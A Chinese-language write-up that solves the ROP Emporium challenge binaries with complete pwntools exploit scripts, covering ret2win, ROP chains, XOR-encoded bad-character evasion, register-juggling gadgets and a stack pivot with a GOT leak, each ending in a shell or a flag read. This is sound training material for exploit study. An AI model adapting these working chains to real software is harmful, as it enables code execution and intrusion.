rop emporium challenges wp

前言

下载地址:
https://ropemporium.com/

虽然说简单,但是后面badchar后面的rop还是学到了不少东西的~

程序默认开启nx

1
2
3
4
5
CANARY    : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

如果是so就多开了个PIE

ret2win

直接覆盖返回地址为win函数

1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
from pwn import *
p = process('./ret2win')
p.recvuntil("> ")
win = 0x400811
payload = "a" * 40 + p64(win)
p.sendline(payload)
p.interactive()

ret2win32

32位版

1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
from pwn import *
p = process('./ret2win32')
p.recvuntil("> ")
win = 0x8048659
payload = "a" * 44 + p32(win)
p.sendline(payload)
p.interactive()

split

这次有个函数执行/bin/ls

我们看看字符串,刚好有个/bin/cat flag.txt

1
2
3
4
5
6
7
8
# strings ./split 
......
Exiting
Contriving a reason to ask user for data...
/bin/ls
;*3$"
/bin/cat flag.txt
......

exp

1
2
3
4
5
6
7
8
9
10
# -*- coding: utf-8 -*-
from pwn import *
p = process('./split')
p.recvuntil("> ")
pop_rdi_ret = 0x0000000000400883
call_system = 0x400810
cat_flag = 0x601060
payload = "a" * 40 + p64(pop_rdi_ret) + p64(cat_flag) + p64(call_system)
p.sendline(payload)
p.interactive()

split32

1
2
3
4
5
6
7
8
9
10
11
# -*- coding: utf-8 -*-
from pwn import *
p = process('./split32')
p.recvuntil("> ")

call_system = 0x08048430
cat_flag = 0x0804A030
pwnme = 0x080485F6
payload = "a" * 44 + p32(call_system) + p32(pwnme) + p32(0x0804A030)
p.sendline(payload)
p.interactive()

callme

就是依次调用callmeone,two,three,参数是1,2,3就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
from pwn import *

p = process("./callme")

# pop rdi ; ret
pop_rdi_ret = 0x0000000000401b23
# pop rdx ; ret
pop_rdx_ret = 0x0000000000401ab2
pop_rsi_pop_rdx_ret = 0x0000000000401ab1

callmeone = 0x401850
callmetwo = 0x401870
callmethree = 0x401810

p.recvuntil("> ")
payload = 'a' * 40 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_rdx_ret) + p64(2) + p64(3) + p64(callmeone) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_rdx_ret) + p64(2) + p64(3) + p64(callmetwo) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_rdx_ret) + p64(2) + p64(3) + p64(callmethree)
p.sendline(payload)

p.interactive()

callme32

32位,栈上传参而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-
from pwn import *

p = process("./callme32")

pop3_ret = 0x080488a9
callmeone = 0x80485c0
callmetwo = 0x8048620
callmethree = 0x80485b0

pwnme =0x80487b6

p.recvuntil("> ")
payload = 'a' * 44 + p32(callmeone) + p32(pop3_ret) + p32(1) + p32(2) + p32(3) + p32(callmetwo) + p32(pop3_ret) + p32(1) + p32(2) + p32(3) + p32(callmethree) + p32(pwnme) + p32(1) + p32(2) + p32(3)
p.sendline(payload)

p.interactive()

write4

这个的话没有/bin/cat flag.txt字符串了,那么这就需要我们写到内存了

加入我们想用fgets写到内存需要3个参数,但是gadgets里面没有pop rdx的,那么就不能给第三个参数传参,那么我们可以找其他方法,通过汇编的mov看看有什么组件

我选择了下面两个,目标地址写到bss

1
2
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret

我们先写个cat flag.txt试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
from pwn import *
p = process('./write4')
p.recvuntil("> ")
# ROPgadget --binary ./write4 --only "mov|ret"
# 0x0000000000400820 : mov qword ptr [r14], r15 ; ret
mov_r14_r15 = 0x0000000000400820
# ROPgadget --binary ./write4 --only "pop|ret"
# 0x0000000000400890 : pop r14 ; pop r15 ; ret
pop_r14_r15_ret = 0x0000000000400890
pop_rdi_ret = 0x0000000000400893
bss_addr = 0x0000000000601060
call_system = 0x4005E0
cat_flag = ["cat flag",".txt".ljust(8, "\x00")]

payload = "a" * 40
for x in xrange(0, 2):
payload += p64(pop_r14_r15_ret)
payload += p64(bss_addr + x * 8)
payload += cat_flag[x]
payload += p64(mov_r14_r15)

payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(call_system)

p.sendline(payload)
p.interactive()

我们直接写个sh试试,只贴payload
当然你改成/bin/sh\x00也可以

1
2
3
4
5
6
7
8
9
10
11
get_sh = "sh".ljust(8, "\x00")

payload = "a" * 40
payload += p64(pop_r14_r15_ret)
payload += p64(bss_addr)
payload += get_sh
payload += p64(mov_r14_r15)

payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(call_system)

write432

这个也是类似的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from pwn import *
p = process('./write432')
p.recvuntil("> ")
# ROPgadget --binary ./write432 --only "mov|ret"
# 0x08048670 : mov dword ptr [edi], ebp ; ret
mov_edi_ebp = 0x08048670
# ROPgadget --binary ./write432 --only "pop|ret"
# 0x080486da : pop edi ; pop ebp ; ret
pop_edi_ebp_ret = 0x080486da
call_system = 0x08048430
bss_addr = 0x0804a040
sh = "sh\x00\x00"


payload = "a" * 44
payload += p32(pop_edi_ebp_ret)
payload += p32(bss_addr)
payload += sh
payload += p32(mov_edi_ebp)
payload += p32(call_system)
payload += "aaaa"
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

badchars

一开始一看这么简单,badchars是这几个,但是有个b和s,我们就不能/bin/sh了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void pwnme()
{
char *v0; // [email protected]
char *v1; // [email protected]
size_t v2; // [email protected]
size_t n; // [email protected]
void *s; // [sp+8h] [bp-28h]@1
__int64 v5; // [sp+10h] [bp-20h]@2

s = malloc(0x200uLL);
if ( !s )
exit(1);
memset(s, 0, 0x200uLL);
memset(&v5, 0, 0x20uLL);
puts("badchars are: b i c / <space> f n s");
printf("> ", 0LL, 0LL);
v0 = fgets((char *)s, 512, stdin);
v1 = v0;
LODWORD(v2) = nstrlen(v0, 512LL);
n = v2;
checkBadchars(v1, v2);
memcpy(&v5, v1, n);
free(v1);
}

那我们就要对payload加密,之后运行的时候再解密了

按照官方的提示,是要xor加密,之后再用gadgets解密

首先可以找下可以用于异或的数字,找10以内的(其实有些还是不行,比如4是传输结束,这应该不行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
badchars = [98, 105, 99, 47, 32, 102, 110, 115]
bin_sh = "/bin/sh\x00"
xorNum = 1
while 1:
for x in bin_sh:
tmp = ord(x) ^ xorNum
if tmp in badchars:
xorNum = xorNum + 1
break
if x == "\x00":
xorNum = xorNum + 1
print xorNum
if xorNum == 10:
break

运行结果,那我们选个3吧,有时候传不过去的话可能这个ascii代表传输结束什么的,

1
2
3
4
5
3
4
6
10
[Finished in 0.1s]

我们通过ROPgadget,找到一些组件,先将我们的/bin/sh写到bss,再去解密,再执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*-
from pwn import *

p = process("./badchars")
elf = ELF("./badchars")

plt_puts = elf.plt["puts"]
# 0x0000000000400b39 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400b39
call_system = 0x4009E8
bss_addr = 0x601080
# ROPgadget --binary ./badchars --only "|pop|mov|xor|ret"
# 0x0000000000400b3b : pop r12 ; pop r13 ; ret
# 0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
# 0x0000000000400b40 : pop r14 ; pop r15 ; ret
# 0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
pop_r12_r13_ret = 0x0000000000400b3b
mov_r12_r13_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
bin_sh = "/bin/sh\x00"
xor_bin_sh = ""
for x in bin_sh:
xor_bin_sh += chr(ord(x) ^ 3)

p.recvuntil("> ")
payload = 'a' * 40
# mov xor_bin_sh to bss_addr
payload += p64(pop_r12_r13_ret)
payload += xor_bin_sh
payload += p64(bss_addr)
payload += p64(mov_r12_r13_ret)

# xor bss_addr's with r14
for x in xrange(0, len(xor_bin_sh)):
payload += p64(pop_r14_r15_ret)
payload += p64(3)
payload += p64(bss_addr + x)
payload += p64(xor_r15_r14_ret)

# exec system("/bin/sh\x00")
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(call_system)

p.sendline(payload)

p.interactive()

badchars32

这个也用xor吧,这次我们异或0xff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
from pwn import *
p = process('./badchars32')
p.recvuntil("> ")
# ROPgadget --binary ./badchars32 --only "mov|ret"
# 0x08048893 : mov dword ptr [edi], esi ; ret
mov_edi_esi = 0x08048893
# ROPgadget --binary ./badchars32 --only "xor|ret"
# 0x08048890 : xor byte ptr [ebx], cl ; ret
xor_ebx_cl = 0x08048890
# ROPgadget --binary ./badchars32 --only "pop|ret"
# 0x08048896 : pop ebx ; pop ecx ; ret
# 0x08048899 : pop esi ; pop edi ; ret
pop_ebx_ecx_ret = 0x08048896
pop_esi_edi_ret = 0x08048899
call_system = 0x080484E0
bss_addr = 0x0804a040
sh = "/bin/sh\x00"
xorsh = ""
xorNum = 0xff
for x in sh:
xorsh += chr(ord(x) ^ xorNum)

# raw_input()

payload = "a" * 44

# write xorsh to bss
payload += p32(pop_esi_edi_ret)
payload += xorsh[0:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)

payload += p32(pop_esi_edi_ret)
payload += xorsh[4:8]
payload += p32(bss_addr+4)
payload += p32(mov_edi_esi)

# xor
for x in xrange(0,len(sh)):
payload += p32(pop_ebx_ecx_ret)
payload += p32(bss_addr + x)
payload += p32(xorNum)
payload += p32(xor_ebx_cl)

payload += p32(call_system)
payload += "aaaa"
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

fluff

来到这的时候已经没有了mov指令了,但下面的吸引了我

mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

再找一下给rdx赋值的,但我们没法操作rdx啊
再找找,找不到啊

看下别人的wp,原来还有个–depth的参数
ROPgadget –binary ./fluff –depth 20

我们就选用这条mov

1
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

但找不到pop r10,r11啊,返回空

1
2
# ROPgadget --binary ./fluff --depth 20 | grep "pop r10"
# ROPgadget --binary ./fluff --depth 20 | grep "pop r11"

直接找看看r11相关的

1
2
3
4
5
ROPgadget --binary ./fluff --depth 20 | grep "r11"
......
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret

最后两个不就可以通过r12赋值给r11吗,在查下r12,有pop可以

1
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

而且上面有个交换r11,r10的,不也可以给r10赋值了吗

而且看了下程序,原理作者都写到一块去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000400820                 public questionableGadgets
.text:0000000000400820 questionableGadgets:
.text:0000000000400820 pop r15
.text:0000000000400822 xor r11, r11
.text:0000000000400825 pop r14
.text:0000000000400827 mov edi, offset __data_start
.text:000000000040082C retn
.text:000000000040082D ; ---------------------------------------------------------------------------
.text:000000000040082D pop r14
.text:000000000040082F xor r11, r12
.text:0000000000400832 pop r12
.text:0000000000400834 mov r13d, 604060h
.text:000000000040083A retn
.text:000000000040083B ; ---------------------------------------------------------------------------
.text:000000000040083B mov edi, offset __data_start
.text:0000000000400840 xchg r10, r11
.text:0000000000400843 pop r15
.text:0000000000400845 mov r11d, 602050h
.text:000000000040084B retn
.text:000000000040084C ; ---------------------------------------------------------------------------
.text:000000000040084C pop r15
.text:000000000040084E mov [r10], r11
.text:0000000000400851 pop r13
.text:0000000000400853 pop r12
.text:0000000000400855 xor [r10], r12b
.text:0000000000400858 retn

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
from pwn import *
p = process('./fluff')
p.recvuntil("> ")
# ROPgadget --binary ./fluff --depth 20
# 0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
# 0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
# 0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
# 0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
# 0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

mov_r10_r11 = 0x000000000040084d
xchg_r11_r10 = 0x0000000000400840
xor_r11_r11 = 0x0000000000400822
xor_r11_r12 = 0x000000000040082f
pop_r12 = 0x0000000000400832
pop_rdi = 0x00000000004008c3
call_system = 0x4005E0
bss_addr = 0x601060
bin_sh = "/bin/sh\x00"
notuse = "a" * 8

payload = "a" * 40

# mov bss_addr to r10
payload += p64(pop_r12)
payload += p64(bss_addr)
payload += p64(xor_r11_r11)
payload += notuse
payload += p64(xor_r11_r12)
payload += notuse
payload += p64(xchg_r11_r10)
payload += notuse

# mov bin_sh to r11
payload += p64(pop_r12)
payload += bin_sh
payload += p64(xor_r11_r11)
payload += notuse
payload += p64(xor_r11_r12)
payload += notuse

# write bin_sh to bss_addr (mov [r10], r11)
payload += p64(mov_r10_r11)
payload += p64(bss_addr)
payload += notuse
payload += p64(0)
payload += p64(call_system)

p.sendline(payload)
p.interactive()

fluff32

有了上一题的经验,直接找到作者内嵌汇编写的组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:08048670                 public questionableGadgets
.text:08048670 questionableGadgets:
.text:08048670 pop edi
.text:08048671 xor edx, edx
.text:08048673 pop esi
.text:08048674 mov ebp, 0CAFEBABEh
.text:08048679 retn
.text:0804867A ; ---------------------------------------------------------------------------
.text:0804867A pop esi
.text:0804867B xor edx, ebx
.text:0804867D pop ebp
.text:0804867E mov edi, 0DEADBABEh
.text:08048683 retn
.text:08048684 ; ---------------------------------------------------------------------------
.text:08048684 mov edi, 0DEADBEEFh
.text:08048689 xchg ecx, edx
.text:0804868B pop ebp
.text:0804868C mov edx, 0DEFACED0h
.text:08048691 retn
.text:08048692 ; ---------------------------------------------------------------------------
.text:08048692 pop edi
.text:08048693 mov [ecx], edx
.text:08048695 pop ebp
.text:08048696 pop ebx
.text:08048697 xor [ecx], bl
.text:08048699 retn

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding: utf-8 -*-
from pwn import *
p = process('./fluff32')
p.recvuntil("> ")
# ROPgadget --binary ./fluff32 --depth 20
# 0x08048692 : pop edi ; mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
# 0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
# 0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
# 0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
# 0x080483e1 : pop ebx ; ret

mov_ecx_edx = 0x08048692
xchg_edx_ecx = 0x08048689
xor_edx_ebx = 0x0804867b
xor_edx_edx = 0x08048671
pop_ebx_ret = 0x080483e1

call_system = 0x08048430
bss_addr = 0x0804A040
sh = "sh\x00\x00"
notuse = "a" * 4

# raw_input()

# mov bss_addr to ecx
payload = "a" * 44
payload += p32(pop_ebx_ret)
payload += p32(bss_addr)
payload += p32(xor_edx_edx)
payload += notuse
payload += p32(xor_edx_ebx)
payload += notuse
payload += p32(xchg_edx_ecx)
payload += notuse

# mov sh to edx
payload += p32(pop_ebx_ret)
payload += sh
payload += p32(xor_edx_edx)
payload += notuse
payload += p32(xor_edx_ebx)
payload += notuse

# mov sh to bss_addr (mov [ecx], edx)
payload += p32(mov_ecx_edx)
payload += notuse * 2
payload += p32(0)

# call system
payload += p32(call_system)
payload += notuse
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

pivot

一上来我就看这了

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000400B00                 public usefulGadgets
.text:0000000000400B00 usefulGadgets:
.text:0000000000400B00 pop rax
.text:0000000000400B01 retn
.text:0000000000400B02 ; ---------------------------------------------------------------------------
.text:0000000000400B02 xchg rax, rsp
.text:0000000000400B04 retn
.text:0000000000400B05 ; ---------------------------------------------------------------------------
.text:0000000000400B05 mov rax, [rax]
.text:0000000000400B08 retn
.text:0000000000400B09 ; ---------------------------------------------------------------------------
.text:0000000000400B09 add rax, rbp
.text:0000000000400B0C retn

这个使用了so文件,ret2win在这个so文件里面实现,但是这个so是开启了PIE的

1
2
3
4
5
6
7
8
9
.text:0000000000000ABE                 public ret2win
.text:0000000000000ABE ret2win:
.text:0000000000000ABE push rbp
.text:0000000000000ABF mov rbp, rsp
.text:0000000000000AC2 lea rdi, aBinCatFlag_txt ; "/bin/cat flag.txt"
.text:0000000000000AC9 call _system
.text:0000000000000ACE mov edi, 0
.text:0000000000000AD3 call _exit
.text:0000000000000AD3 _text ends

查看pwnme函数,首先给了256大小的给你存放pivot,之后再溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__fastcall pwnme(char *a1)
{
char s; // [sp+10h] [bp-20h]@1

memset(&s, 0, 0x20uLL);
puts("Call ret2win() from libpivot.so");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
puts("Send your second chain now and it will land there");
printf("> ");
fgets(a1, 256, stdin);
puts("Now kindly send your stack smash");
printf("> ", 256LL);
return fgets(&s, 64, stdin);
}

所以我们需要先”泄露”地址咯,由于栈溢出的缓冲区大小比较少,完成泄露+执行完全不够用,所以要跳到a1去ROP,这技术叫stack pivot,栈翻转,就是让esp指向别处,在那rop

信息泄露的话,这里只有foothold_function是so里面的,而且存在got表,泄露完计算偏移就好

1
.got.plt:0000000000602048 off_602048      dq offset foothold_function

由于这个函数没调用,需要调用一次,got表才会存在真正的地址

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
from pwn import *
p = process("./pivot")
elf = ELF("./pivot")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]
# 0xABE - 0x970 = 334
ret2win_offset = 334

# ROPgadget --binary ./pivot --depth 20
# 0x0000000000400b00 : pop rax ; ret
# 0x0000000000400b02 : xchg rax, rsp ; ret
# 0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
# 0x0000000000400b09 : add rax, rbp ; ret
# 0x0000000000400900 : pop rbp ; ret
# 0x000000000040098e : call rax
pop_rax_ret = 0x0000000000400b00
xchg_rax_rsp = 0x0000000000400b02
mov_rax_rax = 0x0000000000400b05
add_rax_rbp_ret = 0x0000000000400b09
pop_rbp_ret = 0x0000000000400900
call_rax = 0x000000000040098e

p.recvuntil("Call ret2win() from libpivot.so\n")
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap_addr = int(p.recvuntil("\n").replace("\n", ""), 16)

print "heap_addr: " + hex(heap_addr)

p.recvuntil("> ")
rop_gadget = p64(plt_foothold_function)
rop_gadget += p64(pop_rax_ret)
rop_gadget += p64(got_foothold_function)
rop_gadget += p64(mov_rax_rax)
rop_gadget += p64(pop_rbp_ret)
rop_gadget += p64(ret2win_offset)
rop_gadget += p64(add_rax_rbp_ret)
rop_gadget += p64(call_rax)

p.sendline(rop_gadget)

p.recvuntil("> ")
payload = "a" * 40
payload += p64(pop_rax_ret)
payload += p64(heap_addr)
payload += p64(xchg_rax_rsp)
p.sendline(payload)

p.recvuntil("into libpivot.so")
p.interactive()

pivot32

这个有如下gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:080488C0                 public usefulGadgets
.text:080488C0 usefulGadgets:
.text:080488C0 pop eax
.text:080488C1 retn
.text:080488C2 ; ---------------------------------------------------------------------------
.text:080488C2 xchg eax, esp
.text:080488C3 retn
.text:080488C4 ; ---------------------------------------------------------------------------
.text:080488C4 mov eax, [eax]
.text:080488C6 retn
.text:080488C7 ; ---------------------------------------------------------------------------
.text:080488C7 add eax, ebx
.text:080488C9 retn

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-
from pwn import *
p = process('./pivot32')
elf = ELF("./pivot32")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]
# 0x967 - 0x770 = 503
ret2win_offset = 503

# ROPgadget --binary ./pivot32 --depth 20
# 0x080488c0 : pop eax ; ret
# 0x080488c2 : xchg eax, esp ; ret
# 0x080488c4 : mov eax, dword ptr [eax] ; ret
# 0x080488c7 : add eax, ebx ; ret
# 0x08048571 : pop ebx ; ret
# 0x080486a3 : call eax
pop_eax_ret = 0x080488c0
xchg_eax_esp = 0x080488c2
mov_eax_eax = 0x080488c4
add_eax_ebx_ret = 0x080488c7
pop_ebx_ret = 0x08048571
call_rax = 0x080486a3

p.recvuntil("Call ret2win() from libpivot.so\n")
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap_addr = int(p.recvuntil("\n").replace("\n", ""), 16)


print "heap_addr: " + hex(heap_addr)

p.recvuntil("> ")
rop_gadget = p32(plt_foothold_function)
rop_gadget += p32(pop_eax_ret)
rop_gadget += p32(got_foothold_function)
rop_gadget += p32(mov_eax_eax)
rop_gadget += p32(pop_ebx_ret)
rop_gadget += p32(ret2win_offset)
rop_gadget += p32(add_eax_ebx_ret)
rop_gadget += p32(call_rax)

p.sendline(rop_gadget)

p.recvuntil("> ")
payload = "a" * 44
payload += p32(pop_eax_ret)
payload += p32(heap_addr)
payload += p32(xchg_eax_esp)
p.sendline(payload)

p.recvuntil("into libpivot.so")
p.interactive()

其实栈翻转我们一般用leave;ret,上面64位有0x0a,所以用不了

上面的stack pivot可以用如下payload:

1
2
3
4
5
leave_ret = 0x080486a8
p.recvuntil("> ")
payload = "a" * 40
payload += p32(heap_addr - 4) # 因为后面的leave会pop ebp,所以这减4
payload += p32(leave_ret)
自愿打赏专区